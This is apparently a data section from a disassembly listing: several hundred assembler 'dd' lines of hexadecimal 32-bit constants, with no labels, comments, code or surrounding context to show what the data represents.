dd 21924F52h, 0BE3D16F5h, 8AFE2684h, 6C169CCh, 5024CC1Dh
dd 9571D158h, 0F88871F3h, 86E827ACh, 1E2E09D8h, 823CBF0Fh
dd 30CB594Bh, 1865DC52h, 8CB8245Ah, 0F8971925h, 4B5F7AA1h
dd 168ABC6h, 0C84CB530h, 23B05016h, 0B08C30F0h, 0A21A5B3Ch
dd 0D0C9B255h, 58BB0914h, 1A80C82Dh, 5C387470h, 0E91754B0h
dd 0C144AF5Ah, 0F0AB0CB7h, 0ED91CC9Bh, 4DC00769h, 0E8715109h
dd 52C993FCh, 0DF4AE9AFh, 8D93D44Ch, 334C1EF2h, 73C09D6Ch
dd 0BFB1522Eh, 2DBC508Dh, 550025BEh, 35D0F748h, 0FD61B73Fh
dd 0A801BF24h, 9C15E9DEh, 9D551D75h, 0CC6E581h, 2D0981DFh
dd 0FE7024CFh, 307999BFh, 421FF626h, 0FDC25259h, 60154936h
dd 8128F1D4h, 4F7AFB58h, 49BB8331h, 312F0654h, 36D5AE21h
dd 75E804CFh, 70FC0BA8h, 0CFE68107h, 0A8622631h, 8CF2F924h
dd 2B8F046Fh, 6DBD0113h, 3066B130h, 0B93D95CBh, 590582ABh
dd 85313B19h, 7032DD8h, 0C8330E9h, 335E5F3Ah, 0B441BC4Fh
dd 0ACDCAC61h, 54E6B5EEh, 0C4BD552Dh, 6BC84590h, 68100CCAh
dd 6EC5E96h, 1E84D1C9h
dd 4C24A3A2h, 0BA2D1214h, 0D20888EEh, 0F17E9441h, 9548DCACh
dd 56C65EB6h, 0E4FE9D97h, 0CC309CFh, 160D1F20h, 0EBBA2206h
dd 2D051200h, 5A4973C6h, 2D60A27Fh, 842AD604h, 43ED156h
dd 0F295FBE9h, 137EA2AAh, 9ED03A03h, 1FCC65F4h, 49DEF71Fh
dd 667A3473h, 8B75645Ch, 0BD3C56EDh, 0A4393696h, 1F09CF43h
dd 80617D58h, 1565F2BAh, 0CBE9132Ah, 0D37BB87h, 9B59EA97h
dd 0A7827B4h, 0A1807E94h, 77C149D2h, 8E5B06C7h, 6DCA57FEh
dd 0A40C080Ch, 237B0D18h, 144A0F2h, 0D7294977h, 625EF5E9h
dd 95FAD3BEh, 79881D4h, 0B4F76AD8h, 660CBD04h, 0F580FFD7h
dd 0BA65E29h, 195CE938h, 0F75A367Eh, 72FD2DC2h, 0E0ADF8A7h
dd 9B2C74D0h, 9511257h, 0B5A3ECCEh, 0DC035BD8h, 16F91973h
dd 810B401h, 9933E93Dh, 3A1A5A2Ch, 0D56F8422h, 55A5F1C5h
dd 1A0CF3C5h, 3E7B1D3h, 630F6855h, 5A2D1557h, 9DB6F11h
dd 9507BE9h, 0B1747B7h, 665D9468h, 0AA3B4D59h, 0E9A6BC78h
dd 0ED7F6EABh, 0C7680B42h, 0FCE90B60h, 0DD5BA751h, 0B6C22E62h
dd 0E9FBFFFFh, 8809382Ch, 3C30750Fh, 4BAA6B1Ah, 57D20975h
dd 71CB1471h, 2C600D2h, 21A71039h, 0FA49F17Dh, 3CBA48F1h
dd 0F49213DCh, 0CD3680AEh, 0DD2F4AAEh, 0A8D45678h, 304B61DEh
dd 0E102C780h, 18F17843h, 0E7A6B450h, 0F8281758h, 5A999266h
dd 0A092845Ch, 2E707D2h, 0BED1B240h, 476C5FCBh, 27940E5Ah
dd 0CA5DA983h, 47750E0h, 9D70C4BFh, 1681FFD2h, 467282B6h
dd 20AE49C5h, 674C1280h, 0F6755676h, 0C54A3717h, 6EE963C1h
dd 0EA40C56Ah, 0A96ED9CDh, 8801107Ah, 0A0E18101h, 0DB6AD27Bh
dd 981E180Eh, 0CBCCA573h, 403C20F4h, 0D49D0997h, 0E7330041h
dd 0DF3118B5h, 32E0A1D7h, 51494046h, 30BCB101h, 0D3F659CBh
dd 0B29B8520h, 0EA5C9D89h, 84C1838Ch, 36A70BF1h, 0FFFC2FCAh
dd 660B9713h, 0A148DF90h, 4F1EEE2Dh, 0E80A5039h, 843A0705h
dd 7DB20F09h, 2D276BCh, 434E68BFh, 2E88D551h, 0AFDF2D93h
dd 0AE284516h, 7E85D9ABh, 0E982AAB2h, 3BD5B2DEh, 2975D97Dh
dd 0AA6C3392h, 0D7FFC534h, 3F198D80h, 0F60190F5h, 0FE045E17h
dd 5B42F7D7h, 785862D2h, 0A5ED4E06h, 1A7420F5h, 5697E792h
dd 0CB30CAD1h, 1A0B8D5Fh, 0C5EA77D2h, 0CB5669F5h, 0B93E2BFDh
dd 4213250Ch, 4A7959D7h, 27F9A710h, 1571DF88h, 872C0A53h
dd 670A590h, 0C328791Dh, 0D18994h, 74DF735h, 2CC1291Ch
dd 967E54E9h, 0A32DAB5Bh, 12EF8E3Ah, 0FCC878EAh, 9E681D66h
dd 71D12E5Dh, 6C17010Ch, 0D9F75E00h, 0DA094D90h, 75623D55h
dd 0A8E03C22h, 0FE5260F4h, 7C68C1C4h, 0DBF5C277h, 0F0C2AF8Ch
dd 0EB385B57h, 21774F40h, 750B0525h, 68F26103h, 2DA36DB2h
dd 0E0D15150h, 59EBC706h, 0B807B67Ah, 0F6146B5h, 79089EAAh
dd 78C928C2h, 3B552735h, 0FD89F47Ch, 873C5C5Dh, 0A4D2F708h
dd 3B1EA1CDh, 0CBBBD3F0h, 4558FD8Ah, 8870C59Dh, 0C0004008h
dd 0C98002E1h, 3D06CC1Fh, 40BF0512h, 246CF174h, 26E1CF20h
dd 967C3DCDh, 47E48926h, 5A5130DCh, 92A6BD6Bh, 1ADBF045h
dd 4F038FAAh, 0F810E18Bh, 8A5E2FC9h, 0E00337C2h, 0F9B353CDh
dd 0B4292FAAh, 90C30317h, 0AD584180h, 595CD89Fh, 0D2C43191h
dd 2335BF4Ah, 0C46AE3C1h, 0A1B3A83Ah, 0EB80A8A5h, 13D0BD55h
dd 24C12C49h, 6F6D0794h, 0B199CD70h, 28F2071Fh, 0A38F5BF7h
dd 8274E6ABh, 5814FD2Fh, 9B4D0901h, 4576E92Ch, 99E7B2Ch
dd 982F8F6Bh, 0F6EC4C4h, 1C49C968h, 540EFA5Fh, 4FBB6946h
dd 0E97D0B62h, 594A720Ch, 0A3364F5Fh, 17D30B0Ch, 4CDD201Ah
dd 0CFE92422h, 0AC688F3Ah, 8A441686h, 7413869h, 1E849EE8h
dd 0AFD116EBh, 453AEA29h, 201BEB4Ch, 88511E8Ch, 392DFD7Bh
dd 0E35A7915h, 6452BB65h, 204B58F4h, 0D80112FCh, 0BD50EF2Dh
dd 4C0211F8h, 0F66CC228h, 0E5059D84h, 2999C159h, 0C4A33866h
dd 41128D44h, 107F08D0h, 7429C476h, 481FF4BDh, 514200Ch
dd 35DB0E59h, 0BD53EA5Eh, 5B34BFh, 346ACC13h, 27A60133h
dd 96F50C82h, 0C7A12078h, 0F0C572BFh, 6A0B2E36h, 47C56292h
dd 1F735027h, 0EAC32DEFh, 2D75A980h, 0E32740A2h, 8031F871h
dd 3525A07h, 4B3AB4BAh, 340A4A69h, 0A39AEEC6h, 28E7C27h
dd 30421AEFh, 44E56052h, 6BE0B08h, 0FCDF9C55h, 7F8B95FEh
dd 0D5EB8379h, 0C24C1D66h, 0D008446Dh, 9DA3E910h, 0DFF7470Eh
dd 0CAE78160h, 464E7C5Fh, 631017F9h, 0C821273Eh, 166D901Ah
dd 0EE0123DAh, 0F4FF84D4h, 0D2EEC85Bh, 0BDD1CF5Ah, 0C6139E29h
dd 89EC9881h, 0DF15C456h, 0A77D74B2h, 0BCF7CACCh, 0A8451218h
dd 0EC587CBh, 56408E60h, 50F1268h, 1201FEA6h, 0DB64E2E6h
dd 0CE30C221h, 557E13CFh, 761EA439h, 0D0B7F4ECh, 0BCE175Fh
dd 0E10F00C8h, 34263B29h, 2B485BF6h, 0B409DE88h, 0C8C47DF4h
dd 68504DBCh, 0D8764E8Dh, 29108A0Bh, 88342E98h, 11FEA0Dh
dd 0A6AB742Dh, 2B542F37h, 0FBA20989h, 52BA653Ch, 88AEB08h
dd 14BCF040h, 0E87C564Dh, 14325A2Ch, 5F250A2Dh, 1297475Fh
dd 30B6A1A1h, 0C1E6F933h, 0B7530109h, 9A9B809Bh, 0C9B3C3E9h
dd 795DA4E9h, 340D8544h, 0F5BC00ECh, 1CB34AA0h, 7BD7D9A1h
dd 6F85B0A9h, 0D141EEF9h, 679B6DCCh, 6E97C13Ah, 0C28105C5h
dd 233FB4A8h, 73FA555Fh, 6F5E5449h, 0DCC647ACh, 0EB2CB78Ch
dd 9D104C7Ch, 60210D00h, 0E40575F2h, 70AF671Fh, 2D7326C8h
dd 2971EDEh, 5100E0CAh, 0C0E8B652h, 0E6E607EEh, 0F327D998h
dd 6961F6A6h, 4E34F5DBh, 21FEBD01h, 0FA601127h, 0D4CA0481h
dd 8003911Eh, 2C500CF1h, 0DEE9361Eh, 2023E4EFh, 0BB090AC8h
dd 7DA20D72h, 0F38780C0h, 8D6F730h, 91D04FE9h, 0E8C2A703h
dd 0CCDCD3D7h, 4E00DDA4h, 3BBD1843h, 975199B2h, 14D02009h
dd 706A480Bh, 0D044D712h, 3F2E05A1h, 6939CF8Ch, 0C07D1ABDh
dd 3E3F7961h, 30924563h, 0ABF1241Fh, 281244E8h, 66C61D32h
dd 0EA73C4F1h, 1BE08CCDh, 4E6495CDh, 96F2D1Dh, 4A1FB853h
dd 13CA5FC8h, 60E3E354h, 1D39A0B2h, 0C6648069h, 7E96E235h
dd 4A08A7A4h, 0CC55F987h, 807252D5h, 682FF9F7h, 8BE4DC44h
dd 3768534Bh, 30B521DCh, 4181E9C0h, 5639FC09h, 5A62CC9Ch
dd 0B3A50FEEh, 12D1A35Bh, 818C868Ah, 0BF7D407Ch, 0F2939501h
dd 5FFE29A8h, 9D9A7930h, 385D99B0h, 27D2939Fh, 47036C24h
dd 0DC80D7BBh, 0E300810Bh, 35FB1D8Ch, 9F95FDE9h, 91A00DC5h
dd 683005E4h, 2FF70C3Bh, 695D5975h, 0D008E928h, 0AF4B140Ch
dd 77024F4Ch, 13B53C51h, 0E46F8D12h, 82F6F5D1h, 2F8F0D3Eh
dd 271AF001h, 5856C330h, 8A0602CBh, 2F045203h, 0A4EA62Ch
dd 655BC2F6h, 94591D8Ch, 80943261h, 40E4325Dh, 80C7AD04h
dd 305C8868h, 9313DEBCh, 208688B9h, 565840B5h, 7BB40272h
dd 0F22937D2h, 87BEFEh, 0B2B109Ah, 4B548E9h, 0D0BC5AFEh
dd 0F5362879h, 631A20C1h, 22F2BA07h, 50E24658h, 0D680E98Bh
dd 0E47FA82Fh, 3B6A3DFEh, 8CD7D0F2h, 0F42A6850h, 749D9041h
dd 0CDF9259Bh, 810275A5h, 0EED5456Bh, 62EFB06Ah, 77FA33D3h
dd 1B25985Dh, 1A619355h, 0F205F3A2h, 0E09BBCCAh, 7EFFC380h
dd 758675D0h, 0CE08DEF6h, 0D3EE37F3h, 28F445BFh, 35B5EAD8h
dd 90D3FC7Ah, 0CCE9836Ch, 292212B9h, 0B50413F9h, 0F9F4DB37h
dd 0FE5F2D43h, 692DC22Dh, 0CC382057h, 4C45D670h, 0A4138A01h
dd 3831BA1Dh, 7406356Ch
dd 0FC3A8804h, 0A1A829B9h, 767E4E10h, 0C5DCC8A0h, 31768C17h
dd 0AECD1CEFh, 0F2E904CAh, 594FFEEBh, 0BB6844D1h, 0FC4FC9B8h
dd 0E4F5F3h, 0C0D45AE9h, 381EBB94h, 5F9545F8h, 0E3DC1E3Ch
dd 796EDFDDh, 0AAC05BE5h, 4CD7614Ah, 0D520972Bh, 0DF35584Bh
dd 8480F2EBh, 0D9C2C588h, 4194F7A4h, 981C3F20h, 88FB2D9Ch
dd 0EB80DF51h, 24FF5D2Bh, 0DDE3F301h, 63010816h, 727E4A32h
dd 0C5C6D26Fh, 570217C4h, 337920BFh, 6041FD73h, 7AEE60DFh
dd 0B6B1513h, 0CE1803B0h, 7BCC6887h, 0A5D3C38Fh, 80B5B702h
dd 8838E0EEh, 0D7F63AF7h, 24BFAC4Fh, 0F110E5D6h, 311AAC3Bh
dd 0E256409Bh, 6FBC7E31h, 0C43F2EC5h, 0FDB5C221h, 2EA862E1h
dd 0DE0052B2h, 53340375h, 0CABF82E9h, 0FA227D74h, 2C8571Fh
dd 221E9F05h, 84D67A16h, 3FBA8340h, 4B31C062h, 34C2AB42h
dd 0B7CFF8E6h, 83A07BC5h, 5F57523Fh, 97255904h, 12F70BDh
dd 0F380BC5Eh, 0B6DCE62h, 0C7DE4C89h, 0E5FBD05Eh, 16262C3Dh
dd 3802B52Dh, 4AC4C161h, 0ACBAD7FAh, 0CD7A05FFh, 0D933E2BAh
dd 50031E7Ch, 2B949AB1h, 9E8AAEE8h, 9672A8E3h, 34B860FEh
dd 4401E20Ah, 1D572B35h, 8E20402Dh, 831CBE8Ah, 5CB04BEDh
dd 0CABB8C4Ah, 0C83284F0h, 59B2FBh, 64EC431Dh, 13E8C148h
dd 5485E907h, 0F31D7DE7h, 787BCADBh, 6081997h, 1EB2F307h
dd 0D90C7964h, 936C0AE9h, 84D09C2h, 65FD5EE7h, 0B8562716h
dd 5B37C9A5h, 957FDF77h, 87127E65h, 58D398AEh, 5A215495h
dd 0F3081C40h, 0B8EB7882h, 0EDC2B508h, 0ACBC04D1h, 0E4172BD3h
dd 276A8BABh, 0D0005EEAh, 65C9FCE9h, 1BA875Ah, 0DDC77892h
dd 0D5F60414h, 4783A95h, 0F8958EF7h, 58AA81AFh, 36182D40h
dd 28E8324h, 2B747846h, 0CA61FA01h, 0B5696B9Fh, 20253932h
dd 0B6F0ED6h, 97FF70D5h, 42A84DF3h, 1504C84Dh, 782D3F18h
dd 21229502h, 75455D55h, 0FCED04A0h, 9006914Ah, 0A68EE951h
dd 1F3B053Dh, 0A05F4B88h, 261273A7h, 0CC0B6A87h, 1C9572DFh
dd 0ACD050C5h, 7D4B01E6h, 6A3142F2h, 0EACE681Fh, 0E6B36h
dd 0CC75E316h, 7B00B7D9h, 355FF821h, 9D64FF01h, 3C22056Eh
dd 0C429F0C8h, 80D70120h, 0C1621C82h, 4D992FE7h, 0D7E4B23Fh
dd 17A8D1AEh, 0D929017Ch, 9F5ECA20h, 160505F1h, 0A0046F1Ah
dd 0B7AFA31Eh, 285804D2h, 40EF4D64h, 6214F330h, 8BB84815h
dd 41174544h, 0AAF90211h, 2EE5F049h, 168F4533h, 917BD21Eh
dd 2A04EBE0h, 13801A7h, 0E97DC004h, 5DC6A0DDh, 13A05995h
dd 8277C585h, 40D5F80Fh, 17E320B6h, 47CBFE58h, 0A33DF30Ch
dd 0C4B15BDCh, 0E6F4E4CAh, 0A51ECCF8h, 56F0B4E9h, 74840566h
dd 4A7FE42Dh, 0F857CD53h, 427E2EB9h, 0F178F897h, 7E70807Ch
dd 77681F53h, 525B8F27h, 4C4BAA5h, 0EBBEB085h, 0F32D8FDEh
dd 585B6170h, 0EA92B3A2h, 0EE10A4B6h, 0ED465AB2h, 0ED10CE21h
dd 13379C20h, 0C14C1063h, 2886A9Ch, 0E286E009h, 0C77DC013h
dd 57DB22AAh, 0B9508FBCh, 0C81F1253h, 503FB22Fh, 0FF717EA0h
dd 25F445BFh, 6CDD6EE0h, 2FC74EB7h, 0F1EBA923h, 0C216DC0h
dd 509039B2h, 0E753716Dh, 0E550B86Fh, 60F547E0h, 0B8C2BB9Dh
dd 7258256Ah, 2F0903ABh, 0B6291E99h, 4008831Ch, 4E8B141Ch
dd 5F70982Ch, 0E962AB99h, 0CDCC7710h, 0B6172209h, 2FD0054h
dd 975726E9h, 0D3C58223h, 423716F9h, 20DFBFEFh, 0CA771DE2h
dd 6922C174h, 3626254Eh, 0FD0118B7h, 13163128h, 45F1BAAh
dd 1E08C523h, 999697E6h, 0DFFF2B84h, 35B65BC6h, 0B8DCF10h
dd 7E3DA768h, 13D5EBD2h, 0E309B8DEh, 81C8D66Fh, 3BDAEAB6h
dd 5680EBBDh, 2C1CF768h, 34F2E4Ch, 4F77AACEh, 0E0DEDA33h
dd 2F095F72h, 87F04E39h, 8747EF39h, 0FE31C522h, 25F589E3h
dd 75ED38h, 0E9DD01BBh, 0D37A4938h, 0AEDCF63Eh, 0C948F339h
dd 81B3A95Eh, 0E7200CECh, 7CA89C6Fh, 1E2FD2BCh, 0F0E918AEh
dd 1CF163DDh, 3C1EC1E6h, 753FF928h, 286CABB1h, 51683F7Ch
dd 0B0C539DCh, 8485BB1Eh, 0A3BA34EAh, 0F462509Ch, 0FD83C86Bh
dd 0E5F575CAh, 80E989DBh, 41B8B3A7h, 71522D26h, 3283F09Ch
dd 54D8DBA8h, 0B2F9C3C4h, 56860814h, 0C16FABABh, 0FDA033D8h
dd 0BD6BE163h, 699E848Bh, 7BBC2CEBh, 0FE098B9Eh, 4AC14CC1h
dd 4E0DAC74h, 1C96EC5Ch, 0C0D164AEh, 6A07AE05h, 0C6319D04h
dd 17B88958h, 86F4432Eh, 51622768h, 3B85D220h, 4FAEFE87h
dd 0A5CF4088h, 0D8BDB50Fh, 544E86h, 46A6BB8Dh, 6817296Dh
dd 81CC58DCh, 4F84FADBh, 3190A172h, 0E0D16A32h, 0FACD0Ah
dd 6C250567h, 0C25BA390h, 1FCFBD0h, 32167BBEh, 0E15588D3h
dd 8D17D982h, 0D8285C01h, 7464D930h, 0B2A0A960h, 97C93D30h
dd 0E982E98Eh, 0EE74E542h, 12184A63h, 0A75D5440h, 76E982F3h
dd 0EFDAF5E0h, 0AABC5860h, 8066A123h, 9C2E4402h, 4B9ED11Dh
dd 6C2C70BAh, 4813CC2Dh, 8E7F73F1h, 30E55FA6h, 0B40CF83Eh
dd 0C6B8200h, 5811A51h, 0C07105E5h, 5CF08228h, 9477D092h
dd 6A502D8Ah, 333E78A2h, 48AD19D1h, 0BA599Fh, 87AB199Fh
dd 295BDA31h, 53385E95h, 305FD6DAh, 0F6B3EF6Ah, 0A411483Dh
dd 7981BD4Ah, 72E9F70Bh, 0A08B5EBEh, 746638A3h, 0AF595592h
dd 0ED97F8F2h, 0A9E24B04h, 42BCCFC4h, 61535DEAh, 3CF89656h
dd 0EFC12E23h, 0C6F71EE3h, 0C264A5Ch, 0DA0C37A1h, 10DC8262h
dd 0C99F442h, 65124840h, 85001CD6h, 6FA40C42h, 0FC77042Dh
dd 81210A31h, 81F819E5h, 72B8EB95h, 0B56B5471h, 991E9011h
dd 0A8087E50h, 0FA61B3ADh, 9F5CBA82h, 2926AD06h, 972D8898h
dd 0B1FEE016h, 0E468809Bh, 0E9D64C55h, 83A30752h, 0D3152D58h
dd 2CE69A8Fh, 0F89C0A77h, 4EEFE978h, 0D545EB90h, 0E0F29552h
dd 68098D90h, 1A5909E1h, 7E31D581h, 0A6804302h, 25FB3EEAh
dd 5B505F53h, 7003BFF3h, 4EE92879h, 9DFB85BDh, 0BA68540Ah
dd 5CECCFFCh, 0A4B4B3B8h, 0D0F79506h, 2D299806h, 7746999Dh
dd 0B81AA74Ah, 0DACCD410h, 39943248h, 0AF427924h, 0AD81605Ah
dd 81355F49h, 1D44863h, 4BCA5D66h, 0C150B3EAh, 0F6303AB8h
dd 0FEC34F21h, 0B8F7C529h, 0FF1705EBh, 10860921h, 4812A3C3h
dd 26BED895h, 8EF2A09Fh, 0F2614FEAh, 0F7D12053h, 0A3DCB5C2h
dd 0E0FCAECEh, 805966CFh, 970FB0F7h, 0DD282851h, 7CBE30C0h
dd 0B045F030h, 19A809DFh, 17FE7378h, 6AE6AE39h, 4CB94712h
dd 2DD7F34Ah, 565C61EDh, 9CDFB4D8h, 0D95A44D1h, 0E7E86B38h
dd 0F12DEAF4h, 0CD9A27Ah, 0EFBEA2E9h, 0F2A173E1h, 8ED19788h
dd 0FA542CC3h, 25257EC7h, 0BDF29EFDh, 443DC460h, 5EC26880h
dd 388BF535h, 5C312763h, 0EE68E2E7h, 406BFA56h, 14917B2h
dd 0EBBF65DDh, 6BDC3404h, 0B7BAEC80h, 2CF1161Dh, 0BE8D8531h
dd 9A7F7138h, 0B85E9F04h, 7C96FD52h, 0F69B4120h, 34FB0FE2h
dd 0AA653D82h, 78CA4BFh, 5C31205Fh, 0AE064BF3h, 494CEE12h
dd 20B201FBh, 2A17E744h, 984D6AB0h, 60EC989Dh, 0A8B12AD5h
dd 2905D855h, 7DB0E9F5h, 0A2AEA935h, 3C584820h, 2BFF5087h
dd 8182B74Ch, 192810CCh, 581F074h, 0A06172EEh, 51609125h
dd 0D8E82B54h, 0ED9707A6h, 51490CFh, 72F97B5Bh, 4F587BB0h
dd 4F28FEBCh, 0FB747CC0h, 0DF8AFD6Bh, 7F9CAD89h, 54B7D414h
dd 3DA29A1Ch, 6A7D3242h, 0D0E9406Fh, 3F2C0212h, 13E95157h
dd 512D2D6h, 5B2F57ADh, 0FC5A2856h, 0CC7F526Ch, 51749FE2h
dd 524CDDC9h, 2D745B2Eh
dd 5EDFBB60h, 9813B85Dh, 0E29B4170h, 1AA5CA51h, 68D65765h
dd 6510DEA4h, 4FE6BE1Fh, 8F454557h, 21D9AE27h, 0CB9F0878h
dd 0D7C7651h, 945FE550h, 0CB2E329h, 0C24EAFE9h, 0F2DCD45Dh
dd 9C105955h, 2048A743h, 8B3045A0h, 51190C75h, 3E7441DFh
dd 0BC046994h, 5B09AE7Bh, 0BC938285h, 2D089400h, 0B85980A5h
dd 681B6760h, 80F85E53h, 37B95156h, 6C483F0Ch, 0F0825B04h
dd 9D9DDA2Dh, 5603ED6h, 4B4072D1h, 0F917A106h, 50A667Bh
dd 79C10418h, 0E94F88AAh, 98C90A24h, 43BB5360h, 140C0B2Dh
dd 561E3C1h, 5EAB4270h, 0C095FBCBh, 0D54AEE8h, 0DD31A905h
dd 57E14D5Bh, 0F92BEFFh, 0B415B98Ah, 3016BAF7h, 2968A438h
dd 505CA8h, 56596E62h, 0BE0ACF81h, 0A77B9328h, 75703701h
dd 93A5733h, 0A65F5FABh, 9200896h, 0ABA1914Ah, 0C09934F0h
dd 0FD7C3A6Fh, 453806CAh, 874EE6E9h, 505137D2h, 2D4000B8h
dd 0A38B5E6Fh, 0F595C501h, 0D2F61220h, 2216B551h, 561CEA28h
dd 0D08876C1h, 0FD6C97E9h, 5170A44Eh, 83F7009h, 3AE6575Bh
dd 2D84834Dh, 25469E5Dh, 21D91CE9h, 65D82989h, 97D29F3h
dd 9ED5303Fh, 49B8209Eh, 1A302EA0h, 4CCAB980h, 8A5AF00Fh
dd 0BD604A2Ch, 4A5F4C57h, 807A341Eh, 952854CBh, 0EF091529h
dd 0F10382E2h, 5C12BA75h, 0B271461Ah, 0E80B295Dh, 0C27F0459h
dd 385B406Ch, 5AF02877h, 0D3569C0h, 0F82425FDh, 0F417CE53h
dd 2F10B6BCh, 0CFFE03AEh, 31FBC780h, 4F142D26h, 0E518DC47h
dd 71965795h, 52DCB80Bh, 115743Ch, 290317CEh, 49AC3E21h
dd 0C002F4Ch, 0E9D6FFEDh, 48CB7269h, 490177BBh, 735C293Bh
dd 0D2E917FFh, 0F86F29B5h, 58760402h, 0B1EA2DDEh, 82080436h
dd 517FFBF8h, 0C4F56B50h, 0A14A5B79h, 4DA32B25h, 9D6A257Bh
dd 0CBC24554h, 0CCA6E984h, 0BDAB057Eh, 8417E879h, 0D9FB7D4Fh
dd 2BEE3033h, 0C0B70E27h, 252EF0E5h, 54A8399Fh, 0C3408h
dd 0E9555914h, 94C0CB40h, 0C1805866h, 0E870E1D8h, 0C111601Eh
dd 3C875BDFh, 160618B5h, 2F3D7806h, 0B74815E9h, 0D1836C1Bh
dd 1A64F49Dh, 5FE19039h, 4AFBE931h, 50E5CEAFh, 49C7A7C7h
dd 3364360Dh, 0DE005199h, 509A6CAFh, 0E59BD0Ch, 4E2CE94Fh
dd 7562F6EEh, 0E9753180h, 21C57355h, 37CFA03Eh, 562FD2BCh
dd 80A6CAD5h, 9A06851h, 0E9134C6Bh, 79BC4312h, 46EF01A1h
dd 0D6971CD2h, 66DF7289h, 69830998h, 95F242B6h, 46BDF09h
dd 572F0B16h, 0C05769Ah, 42B1AD5Bh, 2743801Fh, 88011E88h
dd 7A4F4A68h, 95D25B8Ch, 0CA311B77h, 0AE7882h, 1A89255Ah
dd 0E8C133C2h, 3CE6084Ch, 1332381Ch, 37BCF831h, 75F7C3B0h
dd 1071F1Dh, 82018ACh, 0F3685809h, 116FF7Dh, 4C928D2h
dd 7CFFFA42h, 522A03E9h, 0BEDA0173h, 704DF6C9h, 39C04FD9h
dd 435192F1h, 0B456902Eh, 5DE8C243h, 66C338C0h, 0D009BEBCh
dd 0F322277h, 843C7970h, 0E814EE68h, 0B7CCC526h, 153DD8ABh
dd 135BB040h, 0B328A968h, 1A480Bh, 421B1C8Ah, 7B70D0BAh
dd 0ED8B779h, 0D6BD54E6h, 165972CDh, 8E77E8A7h, 0A551B91Eh
dd 16DB1A74h, 0EF6BE9EBh, 58060CD0h, 2966121Ah, 9C45D1F7h
dd 0D75C0248h, 834E2502h, 11807709h, 3084B75Bh, 9D51F752h
dd 0F0B5321Dh, 69162382h, 7A297Ch, 718AED1Eh, 50030346h
dd 443C3868h, 1520EE73h, 0B86E31E9h, 2D6F5710h, 1CD2D45Eh
dd 0BF7C8FECh, 0AC70AAA4h, 5711C051h, 0B0BE3D53h, 72F609D5h
dd 5E5CC631h, 83B23DF8h, 0F761A64Eh, 0AA0599A3h, 297832C1h
dd 2C0F7824h, 0C96F02B6h, 4CBF16FFh, 0FC517350h, 413FE435h
dd 617DC812h, 4F7E56Ah, 801C0818h, 13F82747h, 5FB11AD7h
dd 66406F54h, 5369BF0Ah, 0A40ED01h, 73302768h, 12F24598h
dd 0F416DF2Dh, 0AFE94169h, 80F36A6Eh, 2E796882h, 6C623774h
dd 0EA5C05D8h, 177441B2h, 0BE54C668h, 7E34A08Eh, 27C2F863h
dd 0BBB56093h, 0BABE1E4Eh, 4BAB8927h, 0CB488CD2h, 605309E2h
dd 0D9D4A9B4h, 388C6D96h, 1D5942B3h, 0A4AEE280h, 0BE9500Bh
dd 598AC93Bh, 0F847FBD9h, 2FA411B0h, 4C7AB55Fh, 90D4D29Fh
dd 943F20D3h, 4055C16h, 0A24F4FF6h, 75686CEh, 4407110h
dd 76301225h, 0D47EE87Ch, 2F3D07A4h, 0F7952B45h, 0DDEFE509h
dd 0C85DD66Ah, 3B14BE34h, 0CF037993h, 61E77FADh, 22E94916h
dd 0D82E20BEh, 284B6D38h, 533B93EAh, 0F34D6444h, 0FDADC8CDh
dd 843AC40h, 0F581A141h, 805CA61h, 8BAFEA12h, 25FE59F4h
dd 3C6B586Eh, 0CCCA875Fh, 0E77D7C2Dh, 0C8293717h, 5392C6B2h
dd 0A25E003Fh, 810A5474h, 0DEBE505h, 2F8060ADh, 502F40E2h
dd 1748C829h, 0A128CB36h, 0AB022E25h, 7E058CD1h, 0FBCA3973h
dd 65A80801h, 0C4832E5Fh, 0D1A09A5Ch, 0F1E91F1Eh, 0B42D1667h
dd 0B4E9C1F4h, 0F8CE6B10h, 2AFB994Eh, 41F79AAh, 0A8CE05E3h
dd 0B2E4EE98h, 0F89405h, 0C0FE9CB0h, 28006234h, 0E2D058C2h
dd 0B397F4E9h, 3B0D090Dh, 68049DF1h, 9AE67362h, 0E6A14A7Ah
dd 27FD1857h, 4F66D185h, 0CEE85Ah, 478F280h, 9D68E915h
dd 78558F09h, 13C09F8Dh, 2D80FD94h, 87F80319h, 58C1293Eh
dd 0B04E497h, 6E880181h, 136AAB21h, 0B938107h, 0DAD6CA9Ah
dd 0C4EFE906h, 4438DF48h, 0BE0CF568h, 6BE42ADDh, 0A87A4ACDh
dd 0F90ED26Ch, 142D1CB6h, 2E56BD5Bh, 4906340Bh, 0DDC25448h
dd 7640EA7Bh, 3471F626h, 0B82D70E9h, 0E6B44E8Ah, 731907B3h
dd 0C2A3BB7Ah, 0BC789C11h, 84BAE398h, 8081D2F2h, 85044A8Ah
dd 2D2C1DE4h, 0B282CB65h, 4AA0E97Fh, 889700FAh, 3E689917h
dd 8698D901h, 97ED1B67h, 0A141E80Eh, 5D569F89h, 7752AB4Bh
dd 805AE620h, 0D2A00CC6h, 0F3782839h, 0E97F4E98h, 19B5324Bh
dd 0DE082C94h, 0E232EB2Eh, 5F36279h, 17DD454Bh, 1350153h
dd 705B6E93h, 0CE41398Eh, 0B26BAED4h, 0FFD14AC5h, 5E5E0992h
dd 0E1F59715h, 793E3D18h, 0D42C2127h, 0CC77726Ah, 0EB515FADh
dd 25E9047Ch, 0BF92DF0h, 637D253Ch, 0B0AEDC2Dh, 73F6568Dh
dd 0A2B97C4Fh, 0AAC8C9DEh, 0C16883A7h, 3B7C7520h, 8F57400Eh
dd 560C18FBh, 1A9B3E6Ch, 159AE303h, 183B05D6h, 14A7214h
dd 7A5554ACh, 0E2E91E24h, 0A4C5B7E8h, 0AC4B7311h, 131604F9h
dd 7C2380Ch, 94405D01h, 4803495Fh, 2743E281h, 0EA608F65h
dd 2CDCCEBFh, 83FC21C4h, 0FA35C9C7h, 79C9ABC5h, 67B72D2Bh
dd 0E9301AF1h, 5026A128h, 0E7203CB8h, 336B9774h, 8BC676FAh
dd 9B4891F0h, 0B028FD7h, 0C70C102Fh, 0D2470B71h, 0A674312Bh
dd 0F3A48239h, 48B2E9CEh, 49DDF742h, 2D15FC4Dh, 809D4935h
dd 13C2CFF2h, 0D56089ABh, 107CC1DAh, 12B1ECBh, 85139E9h
dd 0CCA226DCh, 380ED759h, 1FF965B7h, 82874C52h, 0A0BC590Ch
dd 5E89776Bh, 8EEF4CD5h, 1C872F09h, 0C4D3459h, 0D7FFA27Fh
dd 0E9F568EAh, 96B9404Fh, 0F76212Dh, 0C8311086h, 0E1F898A6h
